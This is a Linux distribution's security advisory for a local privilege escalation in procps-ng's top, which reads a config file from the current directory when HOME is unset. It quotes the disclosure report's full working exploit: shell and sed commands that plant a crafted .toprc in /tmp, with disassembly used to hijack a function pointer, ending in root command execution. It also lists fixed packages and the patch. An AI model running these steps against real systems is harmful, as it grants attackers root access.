CLD-403 Details
Other IDs this deficiency may be known by:
Basic Information:
Affected Package(s) |
procps-ng |
Deficiency Type |
SECURITY |
Date Created |
2018-05-17 13:18:04 |
Date Last Modified |
2018-05-23 09:53:06 |
Version Specific Information:
Cucumber 1.0 i686 | fixed in procps-ng-3.3.11-i686-3 |
Cucumber 1.0 x86_64 | fixed in procps-ng-3.3.11-x86_64-3 and procps-ng-lib_i686-3.3.11-lib_i686-3 |
Cucumber 1.1 i686 |
fixed in procps-ng-3.3.11-i686-3 |
Cucumber 1.1 x86_64 |
fixed in procps-ng-3.3.11-x86_64-3 and procps-ng-lib_i686-3.3.11-lib_i686-3 |
Details:
=================================== Overview ===================================
top reads its configuration file from the current working directory,
without any security check, if the HOME environment variable is unset
or empty. In this very unlikely scenario, an attacker can carry out an
LPE (Local Privilege Escalation) if an administrator executes top in
/tmp (for example), by exploiting one of several vulnerabilities in
top's config_file() function.
================================ Initial Report ================================
From http://www.openwall.com/lists/oss-security/2018/05/17/1:
If a/ an administrator executes top in a directory writable by an
attacker and b/ the HOME environment variable is unset or empty, then
top reads its configuration file from the current working directory,
without any security check:
3829 static void configs_read (void) {
....
3847 p_home = getenv("HOME");
3848 if (!p_home || p_home[0] == '\0')
3849 p_home = ".";
3850 snprintf(Rc_name, sizeof(Rc_name), "%s/.%src", p_home, Myname);
3851
3852 if (!(fp = fopen(Rc_name, "r"))) {
....
3865 if (fp) {
3866 p = config_file(fp, Rc_name, &tmp_delay);
Although b/ is very unlikely, we developed a simple command-line method
for exploiting one of the vulnerabilities in config_file(), when top is
not a PIE (Position-Independent Executable). For example, on Ubuntu
16.04.4:
$ file /usr/bin/top
/usr/bin/top: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e64fe2c89ff07ca4ce5d169078586d2854628a29, stripped
First, we dump a clean configuration file to /tmp/.toprc, by running top
and pressing the 'W' key:
$ cd /tmp
$ env -u HOME top
W
q
Second, we add an arbitrary "inspect" command to this configuration file
(inspect commands are normally executed when the user presses the 'Y'
key):
$ echo -e 'pipe\tname\tid>>/tmp/top.%d.%lx' >> .toprc
To execute our inspect command without user interaction, we will emulate
the 'Y' key by jumping directly into inspection_utility(), at 0x40a989
(the fflush(stdout) is INSP_BUSY's last instruction):
3442 static void inspection_utility (int pid) {
....
3496 case kbd_ENTER:
3497 INSP_BUSY;
3498 Insp_sel = &Inspect.tab[sel];
3499 Inspect.tab[sel].func(Inspect.tab[sel].fmts, pid);
40a97d: 48 8b 3d 1c f8 20 00 mov 0x20f81c(%rip),%rdi # 61a1a0
40a984: e8 67 7f ff ff callq 4028f0
40a989: 48 63 05 2c f9 20 00 movslq 0x20f92c(%rip),%rax # 61a2bc
40a990: 8b 74 24 74 mov 0x74(%rsp),%esi
40a994: 48 c1 e0 06 shl $0x6,%rax
40a998: 48 03 05 61 11 23 00 add 0x231161(%rip),%rax # 63bb00
40a99f: 48 89 05 12 11 23 00 mov %rax,0x231112(%rip) # 63bab8
40a9a6: 48 8b 78 18 mov 0x18(%rax),%rdi
40a9aa: ff 10 callq *(%rax)
40a9ac: 5b pop %rbx
To jump directly into inspection_utility(), we will take control of
top's execution flow, by exploiting a vulnerability in config_file().
"sortindx" is read from the configuration file without any sanity check,
and is later used by window_show() to access a struct FLD_t which
contains a function pointer "sort":
5876 static int window_show (WIN_t *q, int wmax) {
....
5894 qsort(q->ppt, Frame_maxtask, sizeof(proc_t*), Fieldstab[q->rc.sortindx].sort);
40de01: ba 08 00 00 00 mov $0x8,%edx
40de06: 48 c1 e0 05 shl $0x5,%rax
40de0a: 48 8b 88 30 99 61 00 mov 0x619930(%rax),%rcx
40de11: e8 7a 47 ff ff callq 402590
To take control of this function pointer, we will write 0x40a989's LSW
(Least Significant Word, 32 bits) into "graph_mems" and 0x40a989's MSW
(Most Significant Word, 32 bits) into "summclr", which are read from the
configuration file and written to 0x63ed30 (and 0x63ed34), a memory
location accessible by 0x619930+(sortindx<<0x5):
3676 static const char *config_file (FILE *fp, const char *name, float *delay) {
....
3710 if (3 > fscanf(fp, "\twinflags=%d, sortindx=%d, maxtasks=%d, graph_cpus=%d, graph_mems=%d\n"
3711 , &w->rc.winflags, &w->rc.sortindx, &w->rc.maxtasks, &w->rc.graph_cpus, &w->rc.graph_mems))
3712 return p;
3713 if (4 != fscanf(fp, "\tsummclr=%d, msgsclr=%d, headclr=%d, taskclr=%d\n"
3714 , &w->rc.summclr, &w->rc.msgsclr
3715 , &w->rc.headclr, &w->rc.taskclr))
3716 return p;
406f90: 4d 8d b5 30 ed 63 00 lea 0x63ed30(%r13),%r14
.......
406fa9: 41 56 push %r14
.......
406fb3: e8 d8 b7 ff ff callq 402790
.......
406fca: 49 8d 95 34 ed 63 00 lea 0x63ed34(%r13),%rdx
.......
406fe5: e8 a6 b7 ff ff callq 402790
Next, we modify the configuration file's "graph_mems", "summclr", and
"sortindx" accordingly:
$ sed -i s/'graph_mems=[0-9]*'/graph_mems=$((0x40a989))/ .toprc
$ sed -i s/'summclr=[0-9]*'/summclr=0/ .toprc
$ sed -i s/'sortindx=[0-9]*'/sortindx=$(((0x63ed30-0x619930)>>0x5))/ .toprc
Last, we turn off the View_MEMORY bit in the configuration file's
"winflags", to prevent summary_show() from crashing because of our
out-of-bounds "graph_mems":
314 #define View_MEMORY 0x001000 // 'm' - display memory summary
5418 static void summary_show (void) {
....
5499 if (isROOM(View_MEMORY, 2)) {
....
5540 if (w->rc.graph_mems) {
....
5559 ix = w->rc.graph_mems - 1;
....
5572 snprintf(util, sizeof(util), gtab[ix].swap, (int)((pct_swap * Graph_adj) + .5), gtab[ix].type);
$ winflags=`grep -m 1 winflags= .toprc | sed s/'.*winflags=\([0-9]*\).*'/'\1'/`
$ sed -i s/'winflags=[0-9]*'/winflags=$((winflags&~0x001000))/ .toprc
Then, if an administrator executes top in /tmp, without a HOME
environment variable (or with an empty HOME environment variable):
# cat /tmp/top.*
cat: '/tmp/top.*': No such file or directory
# cd /tmp
# env -u HOME top
...
signal 11 (SEGV) was caught by top, please
see http://www.debian.org/Bugs/Reporting
Segmentation fault (core dumped)
# cat /tmp/top.*
uid=0(root) gid=0(root) groups=0(root)
================================= Our Analysis =================================
Fixed in patch 0097-top-Do-not-default-to-the-cwd-in-configs_read.patch from
https://www.qualys.com/2018/05/17/procps-ng-audit-report-patches.tar.gz
This patch needs backporting to procps-ng 3.3.11